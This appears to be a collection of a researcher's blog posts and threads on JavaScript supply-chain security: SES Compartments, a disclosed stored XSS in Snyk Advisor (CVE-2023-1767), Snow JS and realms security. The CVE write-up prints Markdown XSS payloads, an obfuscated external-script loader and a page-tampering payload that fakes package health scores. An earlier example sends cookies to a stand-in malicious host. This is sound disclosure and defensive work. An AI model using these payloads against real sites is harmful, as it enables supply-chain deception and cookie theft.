    <button onclick="tellTime()"> Click to know the time! </button>
  </body>
</html>

But what do we do if logger’s maintainer goes evil? Or compromised?

globalThis.logger = function (msg) {
  console.log(msg);
}
fetch('https://malicious.com/stealCookies?data=' + document.cookie);

With Compartments, the threat can be eliminated completely:

<html>
  <head>
    <script>
      globalThis.logger = (async function(){
        lockdown();
        const data = await fetch('https://logger.com/lib.js');
        const js = await data.text();
        const comp = new Compartment({console});
        comp.evaluate(js);
        return comp.globalThis.logger;
      }());
    </script>
    <script>
      function tellTime() {
        logger('telling time; ' + 'start');
        alert('time is: ' + new Date().toString());
        logger('telling time; ' + 'end');
      }
    </script>
  </head>
  <body>
    <button onclick="tellTime()"> Click to know the time! </button>
  </body>
</html>

The code above achieves the same effect, but instead of loading the untrusted dependency to the main realm of our app, we load it into a virtual realm (the compartment) and we only allow it to access console, so when the code evaluates it’ll have access to console when it needs it, but it won’t be able to call fetch/document.cookie as it wasn’t explicitly allowed (Agoric prefers using endowed).

Problem

However, JavaScript being JavaScript, Not endowing a Compartment one specific API does not necessarily mean it isn’t accessible otherwise…

Background

In MetaMask we work hard on shipping our very own plugin system we call MetaMask Snaps. Aside from it being a super interesting initiative in the Web3 ecosystem that will unlock some really interesting capabilities, it is quite a complicated task, especially when you take JavaScript client side security as serious as we do.

Without making things too complicated, you should know we implement multiple security layers for both MetaMask and Snaps, and some of those layers overlap. One important security layer both implement is the use of SES Compartments.

A SES Compartment is a virtual realm that comes with the full set of JavaScript intrinsics, in which code can be evaluated and cannot escape it:

<script>
  const c = new Compartment();
  c.evaluate('');
</script>

CVE-2023-1767 - Stored XSS on Snyk Advisor service can allow full fabrication of npm packages health score

2023-04-10T00:00:00+00:00

tl;dr

tl;dr - a stored XSS in Snyk Advisor (domain:snyk.io) allowed me to fabricate the health score granted for packages in my control, which I leveraged into making it seem as my “malicious” package is in fact healthy, popular and legitimate, which could have served an attacker to convince others to install an actual malicious npm package.

Vulnerability Disclosure Report 📝 , Exploit PoC 💻

What motivated me to write this?

On March of 2023 I found a stored XSS vulnerability in Snyk Advisor under snyk.io domain.

Because Snyk is a security services vendor, I was wondering if there’s anything more interesting and creative to be done here than just compromise the application and/or its current logged in victim. So I dedicated some time into maximizing the impact that one can achieve with such a vulnerability, to help Snyk defend themselves against any further potential damage they might be exposed to.

In this article I demonstrate how I can take such a vulnerability and turn it against the business itself, and the very main purpose of the Snyk Advisor service.

Supply chain security - an intro

Supply chain security is something we constantly hear of in the past years, and for a good reason.

We build our software on top of a long chain of dependencies that we don’t control and that change frequently, so just trusting them to be legitimate and safe in the long run is not something we can count on.

This situation naturally creates a clear motivation for attackers to infiltrate your supply chain and we’ve seen plenty of such examples in the past year.

That’s why in the past few years we have seen more and more attempts to create products that try to secure against supply chain attacks.

I myself have dedicated years into improving the worlds’ chances against JavaScript supply chain attacks by being the creator of PerimeterX’s CodeDefender, the creator and maintainer of Snow ❄️ JS and the maintainer of the highly advanced supply chain security tool LavaMoat 🌋.

There are a number of ways attackers can leverage your need for building your software on top of third party dependencies, here are two main ones:

1. Compromising an already-used legitimate package

One thing attackers try to do is to find a third party package that is being used by the maintainer of the application they wish to attack, and then take control over it. Taking control over a successful package is not always easy, but once control is gained, the attacker can push a new version for the package, introducing the exploit to all its downstream users.

At this point, it’s likely that the maintainer will eventually update their dependencies to their newer versions, thus potentially pulling the compromised version of the breached dependency without even being aware of that.

2. Luring to use a yet-to-be-used malicious package

Another thing attackers might do is to publish a new dependency they control and make it look like it does legitimate stuff, then try to lure developers into installing those in their projects. Once they do, the package which isn’t actually legitimate, can compromise the software.

However, this requires some level of sophistication, because you must convince the developer, a human being, that your package is legitimate and trustworthy - and that is a hard task considering the level of awareness developers have for the potential damage that lies in using a new and unfamiliar package.

Let’s elaborate on that.

Luring developers is hard!

Because of the growing concern that evolves around supply chain attacks, developers are more aware of the problem and make sure to be able to tell the difference between a legitimate package and a suspicious one.

So what actions do developers take when considering installing a new package?

Here’s a perfect answer to the question by the amazing ChatGPT!

”(1) popularity and reputation”

I’d say, this is where you start. A good way to get a general sense of the legitimacy of a package is by understanding how popular and well known it is. It’s usually never enough to fully tell its legitimacy, but it does help knowing many people starred it, or even better, recently downloaded and used it.

”(2) dependencies, (3) source code and (4) maintainers”

These are even better ways for telling if a package is trustworthy. Popularity for itself isn’t enough, but if you can afford going through its dependencies and maintainers and make sure they’re also popular and legit, it would help a lot in making the decision. If you can even afford browsing through its source code that’s amazing! But that’s unlikely to be something we’re going to do.

”(5) license”

I’m honestly not sure how’s this related, but I had to give ChatGPT the credit for trying 🤷. Although next one is the killer section - the one I was hoping ChatGPT would bring up:

”(6) Use a package verification tool … such as Snyk”

This is the ultimate section that is supposed to eliminate the need for all previous sections. As I previously wrote, due to the clear danger posed by third party packages, we now have third party services to help us verify the integrity of third party packages instead of having to do the dirty job ourselves.

These products are your one-stop-shop!

They examine all packages and take into consideration everything mentioned above - such as popularity, usage, number of recent downloads, integrity of contributors, level of community engagement and even potentially source code static analysis - and they calculate it all into a score, to give you a sense of how legitimate for use that package.

In other words, they try to combine steps 1-4 into a single service, so you wouldn’t have to go through them yourself.

There are more such services than just Snyk, (e.g. Socket Security), but Snyk is probably the most popular service in the industry.

A single point of failure

When thinking about it, Snyk Advisor (or any other similar tool) being a one-stop-shop can potentially be an issue, because if it fails it could also be a single point of failure.

In other words, Snyk providing all the information you need for deciding if to use a package or not means you can skip the due diligence you were planning to do yourself, and just trust their health score completely.

And if the integrity of the service is broken, you wouldn’t count on a second service to help you discover that - because that’s the whole point of the advisory service!

This of course counts on an ability to break the integrity of the service, which is not a trivial assumption at all.

While the risks here are likely minimal, it’s still always worth thinking about these hypothetical possibilities and maintaining healthy security hygiene - one way of doing this is to dedicate effort from time to time spot checking the underlying data on important projects to make sure everything makes sense.

Markdown XSS

In this story, the vulnerability isn’t too interesting for itself to be honest. It’s a simple XSS via Markdown situation, which isn’t a new concept (lookup “Markdown XSS” on Google).

But just to sum it up for you:

Markdown specification explicitly supports Raw HTML almost to a full extent.
This includes HTML attributes.
That is a combination that allows the most classic XSS injections:
- (hit ▶️ to execute on the official Markdown live interpreter)
- ▶️ <iframe onload="alert(1)">
- ▶️ <img src="1" onerror="alert(1)">
- Note that the interpreter executes those inside a sandboxed iframe, so instead of actually seeing an alert message, you’ll see a thrown CSP exception in the console, but the conclusion remains the same - Markdown supports HTML, even if it triggers JavaScript execution!

Again, this isn’t anything new. It just means that if a service wishes to parse and display Markdown content, they must perform proper sanitization to disallow XSS.

The sanitization/defense tactics differ among different services.

Some perform a more strict sanitization (such as GitHub/npm) where they drop anything that might load any arbitrary html/js.

Some services perform a lax sanitization (such as discourse) where they still drop anything that might be dangerous, but nothing more. For example, on discourse <iframe> will translate into an actual iframe whereas on GitHub the iframe is dropped (even though turning the iframe into arbitrary code execution is impossible in both).

But most importantly, regardless of how lax or strict your sanitization is, you’d want to add a second layer of defense by using some CSP rules to ensure any Markdown XSS that infiltrated your app will be blocked right away (can be seen in VSCode editor for example).

Not surprisingly, some services perform little to no sanitization at all.

For some of them it makes sense (kinda?) - If you go on StackEdit for example and paste <iframe src="https://weizman.github.io?msg=code_execution_!"> you’ll see an alert message that proves the app parsed this as Markdown and lacked CSP for blocking the load of a remote page into an iframe (Perhaps because this is a local text editor for you to come up with your own content).

But some services have more to lose than the StackEdit example above, and therefore they usually make sure to perform some level of sanitization.

And if they don’t, well, that could be a problem.

Markdown to (stored) XSS on Snyk Advisor (`snyk.io` domain)

To my surprise, the lack of sanitization was exactly the case with Snyk.

Snyk’s advisor app as mentioned above gives you the information you’re looking for when considering to use a new package, and to be as informative as possible, they also display the README file of the package you’re looking at.

Which means, they are turning Markdown into HTML to display the content.

By running no sanitization and implementing no CSP in the app, a README file containing an XSS will successfully execute in the app!

Before disclosing this, you could have seen the exploit running live on the package I was experimenting with at https://snyk.io/advisor/npm-package/png2jpg.

Since it’s already fixed by now, you can see it before it was fixed by visiting the official Vulnerability report as sent to Snyk I handed Snyk.

Impact

So why is this worrying? In the context of what we discussed earlier, harming the integrity of the advisor can turn a package from malicious to fully trustworthy in the eyes of the victim!

Exploiting the vulnerability!

Let’s exploit this vulnerability as an attacker to understand what I mean.

Find a need

First, I looked for stuff people might need a solution for.

From a quick search online I learned that people have tried previously to convert pngs to jpgs using JavaScript. Here’s a stackoverflow example.

Register a package

I need a good name for a package that looks legitimate and inviting and that is available on npm. After a while I found png2jpg to not be taken - I’ll take it!

{
  "name": "png2jpg",
  "version": "0.0.1",
  "description": "convert png to jpg",
  "main": "index.js",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/weizman/png2jpg.git"
  },
  "keywords": [],
  "author": "",
  "license": "MIT",
  "bugs": {
    "url": "https://github.com/weizman/png2jpg/issues"
  },
  "homepage": "https://weizman/png2jpg/",
}

(package.json)

Cause “fake” damage

This is a malicious package after all, so let’s implement a malicious payload such as:

// index.js
console.log('PAYLOAD EXECUTED!')

(index.js)

Create a deceitful README file

This is an important part - we want the package to look legit and inviting, so we want its official README file to reflect that:

## png2jpg - A NodeJS tool for converting pngs to jpgs

### Install

yarn add png2jpg / npm install png2jpg

### Usage

const png2jpg = require('png2jpg');
const jpg = await png2jpg(png);

(README.md)

Real attackers will also add badges, images and maybe gifs to do a better job “selling it” - we’re not gonna focus on that.

PoC - Exploit Snyk Advisor’s vulnerability

Our package is live and accessible on npm! But Snyk Advisor ranks its health score low, being the unpopular package that it is:

making it completely not trustworthy.

However, since we have code execution privileges, we can use it to change the layout!

When we update the README file to this (observe the bottom line):

## png2jpg - A NodeJS tool for converting pngs to jpgs

### Install

yarn add png2jpg / npm install png2jpg

### Usage

const png2jpg = require('png2jpg');
const jpg = await png2jpg(png);

<img src="//no-such-domain-2390dkj.com/" onerror="alert(location.href)">

and publish the package, after Snyk Advisor scans it, when visiting https://snyk.io/advisor/npm-package/png2jpg the alert pops:

Leverage exploit to fabricate Advisor results

We proved code execution on https://snyk.io/advisor/npm-package/png2jpg, it’s time to make it dance!

First, Snyk Advisor’s scan takes a few days with each new package version that is published, so I preferred implementing
an external payload script that I can change as much as I want.

Therefore, here’s the update to the README file:

## png2jpg - A NodeJS tool for converting pngs to jpgs

### Install

yarn add png2jpg / npm install png2jpg

### Usage

const png2jpg = require('png2jpg');
const jpg = await png2jpg(png);

<img src="//no-such-domain-2390dkj.com/" onerror="eval(atob('KGZ1bmN0aW9uKCl7IGNvbnN0IHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgcy5zcmMgPSAnaHR0cHM6Ly93ZWl6bWFuLmdpdGh1Yi5pby9wdWJsaWMvc2VydmljZS5qcyc7IGRvY3VtZW50LmhlYWQuYXBwZW5kKHMpOyB9KCkp'))">

Which translates into:

(function(){ 
 const s = document.createElement('script'); 
 s.src = 'https://weizman.github.io/public/service.js'; // service.js looks more legit!
 document.head.append(s); 
}())

Which simply loads the payload externally:

(function(){
    // don't run more than once
    if (top.__ran) return; else top.__ran = true;

    // remove the "Unable to verify the project's public source code repository." alert message
    document.querySelector('.alert').remove();

    // capture all needed elements in the page
    const extra = document.querySelector('.package-extra');
    const security = document.querySelector('#security');
    const community = document.querySelector('#community');
    const popularity = document.querySelector('#popularity');
    const maintenance = document.querySelector('#maintenance');
    const copy = document.querySelectorAll('button')[0];

    // replace the HTML of the "extra", "security" and "community" information boxes with 
    // the HTML from the node package to deliver a more reliable message
    extra.innerHTML = atob('<LARGE_B64>');
    security.innerHTML = atob('<LARGE_B64>');
    community.innerHTML = atob('<LARGE_B64>');

    // remove the "popularity" and "maintenance" information boxes 'cause I was too lazy to immulate them
    popularity.remove()
    maintenance.remove()

    // remove the image we used in the XSS to reduce suspiciousy
    setTimeout(() => {
        document.querySelector(atob('aW1nW3NyY149Ii8vIl0=')).remove();
    }, 200);

    // reset the functionallity of the copy button because this exploit ruins it for some reason
    copy.id = '__copy'
    copy.outerHTML += '';
    __copy.addEventListener('click', () => {
        navigator.clipboard.writeText(atob('bnBtIGluc3RhbGwgcG5nMmpwZw=='));
    });
}());

(payload.js)

And the result is pretty good!

And for a motivated attacker, the result could have been even flawless with some additional work on the deception part, but this should be enough for you to get the picture.

Sell it!

Now that our payload is successfully making our package look legit, all there’s left is to get someone to install it. I can do so by finding an online thread about someone trying to turn pngs to jpgs using JavaScript, and offer my service.

Here’s an actual thread on Stackoverflow of people who are looking for a solution - all I need to do is to suggest my package and link it to https://snyk.io/advisor/npm-package/png2jpg.

What’s likely to happen is that someone who sees it, will go on the Snyk link, see that my package is totally legit and popular (even though it isn’t), and copy the npm install png2jpg command from there, trusting Snyk Advisor completely - Supply Chain Attack Achieved!

Conclusions

This has been a short ride through exploiting an XSS vulnerability to compromise the Snyk Advisory service central goal, to be a trustworthy judge of npm packages.

I hope markdown sanitization and the dangers in not performing defense in depth are more clear to you after reading this.

Builders

Here are the two main takeaways from this research:

Sanitize user input, including Markdown! - Markdown allows html by spec! Therefore, if you present Markdown content, it might introduce XSSable HTML tags - especially if you are not the generator of the content! Just like the rest of your app, you need to sanitize Markdown content too.
Use CSP! - Sanitization isn’t always perfect. CSP is a great mechanizm for making sure any infiltrated XSS can’t actually end up executing. If your app presents content you don’t control, you should integrate CSP into it.

Breakers

Markdown XSS is a concept. There are a lot of services that parse and display Markdown, including IDEs.

They all might be vulnerable to this - I encourge you to go out and seek for yourselves!

If you find any - responsibly disclose your findings to the vulnerable vendor by cooperating with them.

Visit Gal Weizman for more JavaScript security related content (also on twitter)

Thank you Daniel Goldberg for your help in editing and improving this post! (also on twitter)

CVE-2023-1767 - Stored XSS on Snyk Advisor service can allow full fabrication of npm packages health score [𝕏]

2023-04-09T00:00:00+00:00

Originally posted on X

Nothing too exciting about yet another stored #XSS on a public security service.

Question is however - what you do with it?

A story about a fresh new CVE in the packages advisory tool of @snyksec - only this time with a fun twist! 🧵

(full story on ) weizman.github.io/2023/04/10/sny…

Last month I found a stored XSS on Snyk’s advisory tool. By accident.

I just wanted to have a look at an npm package I maintain, and that’s a service the advisory provides.

In case you’re not familiar with it, it’s a blessed initiative by the @snyksec folks.

https://snyk.io/advisor/
Its purpose is to give you the most accurate insights on how legit an npm (or a python) package is when considering to use it - insights you don’t get from npm itself.

snyk.io/advisor/

I took a look at my package which naively contains in its README the string “<iframe>” and was surprised to see that instead of presenting it as-is, the advisor rendered the iframe!

Markdown-to-XSS isn’t a new technique actually (look it up), but hold on - the twist is coming!

What do you do with a stored XSS? You try to compromise logged-in users, right?

Not this time! We can go BIGGER!

We can turn the whole point of the advisory tool against itself 😈

I found a stackoverflow thread online of people looking for an npm package that turns pngs to jpgs.

I registered “png2jpg” (already deleted) as a legitimate converter tool, but instead of actually implementing such, index.js was basically “console.log(‘supply chain attack!!’)”

A day later, the adisory analyzed my package and granted it a terrible health score for being so new and not adopted.

Although that’s completely fair, it’s going to make it very hard to convince my victims to install my package.

Luckily, my Markdown-to-XSS can change that 😉

I published a new version to npm where I added

“<img src=1 onerror=‘alert(location.href)’>”

to the bottom of the README file, just to prove my XSS works:

Finally, I uploaded the final version. This time I leveraged the XSS to change the layout in the advisory to lie about my package and present it as legitimate and highly popular!

And the result? Well, judge for yourself:

All is left is to post https://snyk.io/advisor/npm-package/png2jpg in the stackoverflow thread claiming this can convert your pngs - it looks to good to not use it!snyk.io/advisor/npm-pa…

People trust tools like the advisory to tell them if some packages are safe to use or not, because how else could they know? (Except for reviewing their code but come on)

That is why such a breach can potentially be just as dangerous - a single point of failure.

@snyksec were highly professional in the process of patching this. When creating similar services make sure (1) you’re aware of Markdown-to-XSS and (2) implement CSP protection.

Thanks @ace__pace for help with the post.

If you’re into javascript security follow me for more 😊

@snyksec @ace__pace

Introducing Snow ❄️ [𝕏]

2023-01-04T00:00:00+00:00

Originally posted on X

Excited to introduce the experimental ⚠️ #LavaMoat 🌋 toolbox technology,

Snow JS ❄️

🧵 Snow is an advanced and an important solution to a complicated sub problem in #browser #javascript #SupplyChainAttacks #security:

GitHub - LavaMoat/snow: Use Snow to finally secure your web app's same origin realms! Use Snow to finally secure your web app's same origin realms! - GitHub - LavaMoat/snow: Use Snow to finally secure your web app's same origin realms! Https://github.com/lavamoat/snow

But first, get yourself familiar with the field of realms security by reading my previous tweet in order to understand the problem before we dive into the solution:

So if to sum up the problem, we have many advanced browser JS security tools/services trying to apply protection to web apps by hooking into different browser builtin APIs with defense mechanisms that can be bypassed a good amount of the times by using same origin realms (iframe)

How so? If for example I create a tool that hooks into the "document.cookie" descriptor to block JS access to cookies for a made up security reason, malicious code can easily still access those cookies by creating an iframe and use the "document.cookie" descriptor from within it:

Why is this a problem? Because in the example above that's just one way to form a new same origin realm, but there are many other ways to do that. So if we wish to automatically defend all future realms we'd have to treat all possible ways to create them - attackers only need one

So obviously this is a hard problem to solve.
Automatically apply certain code not only to the top main realm, but to all potential child realms, immediately at the creation stage of a realm to prevent attackers from abusing them - is a hard need to accomplish.

Enters SnowJS ❄️

Snow attempts to accomplish just that!

It provides a simple API that when given a callback invokes it with every newborn realm in the web app.

Meaning, it allows you to synchronously hook into the rising moment of every new realm in the web app and manipulate it as you wish.

In contrast to how simple Snow’s API is, it does a lot of complicated work in making sure creation of new realms cannot be accomplished without going through Snow first.

By putting security first, Snow does its best at:
1. Hooking every possible way of creating new realms;
2. Getting a hold on new realms before any other JS code in runtime has the chance to.

To put simply, this means Snow does a hard work in preventing anyone from creating new iframes and accessing their new window object before Snow does.

Now that we understand what Snow is, it’s clear how we can use it to solve the sub problem that’s described in the thread above:

Basically we can take any protection tool/service out there and instead of running it on the top main realm only, use Snow to apply itself to all potential newborn child realms - as simple as that!

Same goes for our "cookie protector" example from before:

I made sure there is a massive amount of information about Snow, so if you want to learn more about the project, the motivation behind it, the problem it tries to solve and more, it's all documented and continently updated here: so give it a look!

GitHub - weizman/awesome-javascript-realms-security: javascript realms security resources javascript realms security resources. Contribute to weizman/awesome-javascript-realms-security development by creating an account on GitHub. https://github.com/weizman/awesome-javascript-realms-security#tools

I will continue to talk about Snow and attempt to further explain it down the road, to make sure you're as excited about it as I am if you're not convinced yet 😉

Remember: Snow is still experimental ⚠️ and might still not be bulletproof as this is a very hard problem to solve!

Realms Security [𝕏]

2022-11-19T00:00:00+00:00

Originally posted on X

Now that we understand:

1. What realms in #javascript are;
2. Why they can so easily be maliciously utilized against #browser #javascript supply chain protections,

🧵 We can finally talk about the security field that doesn't get the attention it deserves - realms #security:

But first, if you missed (1) what realms in javascript are, I recommend reading What is a realm in JS?

And if you don't understand (2) why realms are such a security concern to in-browser supply chain security, I recommend going back to my previous tweet on that.

All set? Let's begin👇🏻

Back in the days, when building web apps was not massively relying on a never ending list of dependencies, in-browser web apps builders were mostly concerned about XSS attacks for client side security.

Since those are syntax based type of vulnerabilities that are exploitable via user input, defending against those required developers to become aware of them, and make sure the code they’re deploying isn’t vulnerable to such attacks by properly sanitizing user input.

But since then things have changed dramatically, and user input is no longer the only exploitable surface for executing unwanted code in web apps.

Nowadays, the number one way of achieving that is by breaching dependencies that such web apps rely on - and it is far more complicated to defend against than user input sanitation.

It’s so complicated, that there is more than just one approach on how to do so, and a very popular one which is taken by various companies is by defending javascript in real time in the browser.

You get what I’m saying? Unlike XSS attacks, it is now so hard to prevent unwanted code execution due to supply chain attacks, that a popular solution is to just wait for it to happen and defend against it live!

In my previous thread I give a very straightforward explanation on how such solutions look like, but generally the idea is to redefine the behavior of javascript and by that protect it against potentially malicious usage (doesn't click? go back to this 👉🏻 )

But what I also talk about there, is how such defense when only applied to the main realm (top window) is basically useless, because any protection that is applied to only one realm does not apply automatically to another - and that's a part most solutions fail to protect against

To put simply, if for example my biggest fear is that an attacker successfully accesses “document.cookie” API so I delete access to it completely, I’m still screwed - the attacker can always regain that access by creating a new iframe and grabbing its unique “document.cookie” API

That is how good old realms in javascript can be maliciously abused due to how browser javascript attacks evolved.

And that’s how the need for “realm security” was born - it’s the effort around securing realms so that attackers won’t be able to leverage them maliciously.

This is an abstract definition, because currently this is a very abstract concept - we only now start to understand the role of realms in the changing in-browser security ecosystem and that realms even require security due to how browser javascript security shapes up.

That is a security field I wish to define and further explore to eventually be able to improve the security of the web apps we use daily.

Realms security is a field I have been researching for months now, and Snow JS ❄️ is the first significant fruit of my long term research.

Super excited to introduce Snow in the next thread 😊

To follow my realms security research journey, best place would be https://github.com/weizman/awesome-javascript-realms-security where I cover everything there is to know about realms and {offensive/defensive} security of realms including best tools and practices

Integrating Snow ❄️ into MetaMask 🦊

2022-11-18T00:00:00+00:00

By Gal Weizman @MetaMask

In this document I will be arguing in favor of integrating the new and advanced Snow JS ❄️ browser security technology into the MetaMask 🦊 browser extension.

tl;dr

Supply chain attacks is a massive problem against javascript based web apps including MetaMask.
MetaMask introduces advanced technology LavaMoat to isolate dependencies from each other using SES technology, and by that take a big step towards providing strong supply chain attacks protection tools.
However, LavaMoat does not apply its protection automatically to all child realms but rather only to the top main realm.
Meaning, if an attacker manages to escape LavaMoat’s sandbox, they can easily go around the protection it applies to the top main realm by using a child realm.
Snow is a tool that allows you to automatically take over all newborn child realms in the web app and execute predefined code on all of them at the time of their creation.
By instructing Snow to execute LavaMoat’s top main realm protection, it’ll apply it to all child realms by default and by that introduce a second layer of security to the app LavaMoat defends (e.g. MetaMask).
In the same manner, Snow can help protect any web app, and can also be used for many other use cases, but it has downsides due to it still being new and experimental that should be taken into consideration.

The problem
- Supply chain attacks
- How supply chain attacks may affect MetaMask?
The existing solution (layer 1)
- LavaMoat
- How LavaMoat helps MetaMask against supply chain attacks?
The problem with the existing solution (layer 1)
The missing solution (layer 2)
Snow outside of MetaMask and supply chain attacks
Bottom line

The problem

The context of this document is around the supply chain attacks problem, which is considered to be one of the biggest security concerns in the world of js apps of all sorts (web apps, servers, extensions, etc).

Although supply chain attacks as mentioned above is a problem relevant to all sorts of js web apps, the context of this document is around browser based apps specifically (websites, web apps, extensions, etc).

Supply chain attacks

Refers to the breaching and leveraging of the app’s supply chain to carry out an attack in the app’s runtime. Imagine app X uses dependency a which uses dependency b which uses dependency c:

X
 * a
  * b
   * c

Each of these dependencies can be completely seperate from another in terms of maintainers, purpose, maintaince and so on. A defintion to a supply chain attack in this scenario would be for example if a malicious entity managed to alter the code base of any one of these deps without really being the legitimate entity that is in fact responsible for it.

By doing so, the malicious entity will successfully execute its code when the app runs, because the app ultimately consumes all of the above deps, including the one the attacker managed to alter.

So to put it in simple words, if I own facebook.com web app and rely on a third party package called dark-buttons to make the buttons in the app darker, and that package is breached by someone else who adds a code that in addition to darkening buttons steals the logged in user’s cookies, that would count as a calssic supply chain attack.

The reason supply chain attacks are problematic in the js ecosystem also lies in how all pieces of js code that run in a certain context have almost the same privileges - whether they are of the app itself or of a dependency the app consumes, they all have similar access to DOM, storage, network, etc.

How supply chain attacks may affect MetaMask?

With MetaMask it’s not very different.

Eventually, MetaMask being a browser extension means it is effectively a web app that is also built on top of dependencies it does not control and therefore is vulnerable to supply chain attacks just as much.

With MetaMask you might say it is even more dangerous - being an app that serves in an ecosystem that has no centralized authority where actions being made are far less “reversible”, the security responsibility of the web wallet is crucial.

To give an example in the context of MetaMask, if a third party package MetaMask uses is breached and an attacker manages to run code in the context of the extension itself, it can leverage such privilage to do horrible irreversible things such as steal the private key of the victim, sign transactions on their behalf, hiddenly switch public keys the victim wishes to interact with, and far more.

The existing solution (layer 1)

As far as I understand it, this was (more or less) the thought process MetaMask went through which lead to creating LavaMoat to attempt to solve just that.

LavaMoat

LavaMoat is a security tool by MetaMask that attempts to introduce a layer of defense to javascript based web apps specifically against supply chain attacks.

In the context of browser based apps, LavaMoat participates in the build process and uses advanced technology such as SES and static analysis of code to wrap each dependency the app uses with a sandbox that makes sure the dependency can only do what it’s suppose to do.

It is important to calrify that this is a very high level and general way to describe LavaMoat, and since it is out of this document’s scope to thoroughly explain it, you should read more about it in case you are not yet familiar with it.

So if to put this in the context of the example from above, if package c is maybe a tool for abstracting access to the DOM but is breached to also steal cookies from storage and exfiltrate them to a malicious origin using network APIs - if app X is protected by LavaMoat it will allow c to access the DOM as usual, but will block it from accessing the storage or different network APIs since it should not have access to them normally.

And by that LavaMoat in fact helps a lot in managing API access privilages for app dependencies - in this example, without LavaMoat such breach would have been successful, but thanks to LavaMoat it is not.

How LavaMoat helps MetaMask against supply chain attacks?

With MetaMask it’s not very different (again).

LavaMoat just does its magic similarly to the example described above with MetaMask and its dependencies. You can investigate the policy file that LavaMoat generates to learn which packages of MetaMask can access which APIs.

For example, textarea-caret package used by MetaMask is dictated by LavaMoat’s policy file to only have access to a specific number of APIs (most of them are DOM related).

This effectively means that before we had LavaMoat, if textarea-caret package was compromised it could have allowed to run fully privilaged malicious code that could have easily be leveraged to carry out attacks such as described above against MetaMask users.

But LavaMoat’s protection prevents that exactly.

The problem with the existing solution (layer 1)

“Problem” is a strong word. LavaMoat does its job and it does so wonderfully.

But LavaMoat is a single line of defense, and having multiple lines of defense is better than having just one.

LavaMoat’s protection level is fairly high, and breaching it is currently very difficult. But as we already learned in the security space, it can never be guaranteed to stay the case for good - someone at some point might find a way around it.

How would a bypass of LavaMoat look like?

Bypassing LavaMoat would mean having a package with limited privileges obtaining access to objects and APIs out of its privileges scope.

To explain more simply, it’s as if textarea-caret could leverage the APIs it can currently access according to LavaMoat to access other APIs provided by the browser that it shouldn’t have access to.

So if for example textarea-caret only have access to [document.createElement, document.body.appendChild] and it can leverage those to obtain access to fetch API - that would be a clear vulnerability exploitation of LavaMoat.

What can an attacker do after bypassing LavaMoat in MetaMask?

In such a scenario, access to forbidden APIs may result in the attacker carrying out attacks such as described earlier.

A bypass to LavaMoat can result in the malicious package obtaining full privilge to all APIs provided by the browser, and such power can allow an attacker to cause a lot of damage.

There are ways to defend against a scenario where the attacker bypasses LavaMoat and gains full access to the global object and by that to all the browser APIs it provides.

One WIP approach is called “scuttling the start compartment globalThis” suggested by @Aaron Davis.

The idea here is to erase access to all of the APIs the browser offers under the global object (window) and the DOM object (document) completely, and by that leave nothing to an attacker who manages to jump over LavaMoat to those dangerous APIs. Each package with its own compartment (sadnbox) has access to their private version of those APIs, so erasing their original versions from the global object is in fact not the worst idea.

However, even this won’t be enough and that is due to another problem that is far harder to solve - the fact that there isn’t really only a single global object, there could be more than just one.

Why are realms such a big security concern?

To quote from the official specification of Realms,

“A realm consists of a set of intrinsic objects, an ECMAScript global environment, all of the ECMAScript code that is loaded within the scope of that global environment, and other associated state and resources.”

And to add to the above, all of those are accessible by the realm’s global object (globalThis). In the browser that object can be accessed via window and by default there is only one main realm which is the top window and can also be accessed via top.

So to put things in context, everything we mentioned earlier that an attacker can do and that LavaMoat tries to defend against is by leveraging the basic access js code has to different APIs and objects that are assocciated to the relevant realm (which until this point in this document is the main (top) realm).

Meaning,

Attacker trying to abuse access to the DOM;
Attacker trying to bypass LavaMoat to jump from DOM access (e.g. document.createElement) to network APIs (e.g. fetch);
LavaMoat scuttling the globalThis of the start compartment to prevent attackers from gaining access to APIs they’re not authorized to have access to,

All are hapening and are being discussed under the context of the top main realm.

So if to stick to the “scuttling” example, this means to perform scuttling to the top main realm.

This however gets very tricky based on the fact that more realms can be created under the top realm. In the browser, a new realm can be created in the form of iframes, workers, tabs, windows and more, and naturally each realm has its own freshly new set of everything that is mentioned in the quote from the spec above.

Realms can be either same origin realms or cross origin realms, depends on whether the origin of the realm is the same as the origin of the parent realm or not.

In this context, same origin realms are a security concern in supply chain attacks.

This is because an attacker can carry its planned attack within a realm they create and control rather than the top main realm, and by that go around any protections LavaMoat is trying to apply to it.

In other words, if the scuttling process successfully disables access to the top main realm’s fetch API, that doesn’t apply by default to child realms an attacker might create/get a hold on. That type of attack can only leverage a same origin realm and not a cross origin one, because same origin realms are fully and synchronously accesible via the top main realm.

The missing solution (layer 2)

While it is very unlikely (thanks to LavaMoat) an attacker can leverage a fully scuttled global object to create a new realm to attack with, applying general protections (such as but not limited to LavaMoat’s scuttling) to any child realm that comes to life under the top main realm, recursively and automatically, would have been considered as a strong second line of defense against a supply chain attacker.

In other words, if instead of only scuttling the global object of the top main realm, we could have done so to all realms of all iframes, tabs, windows and so on, that would have been a great way to make sure an attacker cannot leverage a same origin realm to carry out an attack against the app.

So assuming an attacker wants to use fetch as part of an attack, but LavaMoat’s scuttling disables access to fetch in the top main realm’s global object - if the attacker manages to get a hold on a different same origin realm which by default is unprotected by LavaMoat, they can easily pull a freshly new fetch API from there and use that instead.

Based on that, the missing solution here is a tool that takes over the creation of new realms and grants first access to it to the protector rather than the creator of the realm.

With such a solution we could have applied the scuttling approach for example not only to the top main realm, but to every new realm in the page automatically, and then pulling a freshly new fetch API would not have been possible anymore.

However, covering all ways of new realms creation is a very non trivial mission to accomplish due to Javascript being Javascript. Therefore, creating such a tool is quite a complex task on its own.

To sum up so far, when defending a browser based app against supply chain attacks there are two missions to accomplish in order to provide a truly advanced solution, and each one is a difficult and complciated problem to solve:

Creating a tool^ that applies protection against supply chain attacks;
Creating another tool that applies a subset of the first tool^ (or all of it) to all same origin realms in the app.

In the context of this document, the former is provided by MetaMask and is LavaMoat, whereas the latter is yet to be integrated with LavaMoat and is Snow - the subject of this document.

Snow

The following animation should give an idea of the importance of combining LavaMoat with Snow, as explained above:

1st frame - this is the initial stage where no protection applies to the web app and therefore all realms including the top main one are vulnerable to supply chain attacks.
2nd frame - at this stage we turn on LavaMoat as our supply chain attacks protection which attempts to protect the top main realm.
3rd frame - here we use Snow to apply LavaMoat’s protection to all future realms in addition to the top main realm.

Snow (stands for Securing Nested Ownership of Windows) is a browser javascript based security tool that focuses on providing an API to which you provide a callback that it’ll guarantee to call for every new realm that is created in the web app (including the top main realm):

SNOW(realm => delete realm.fetch);

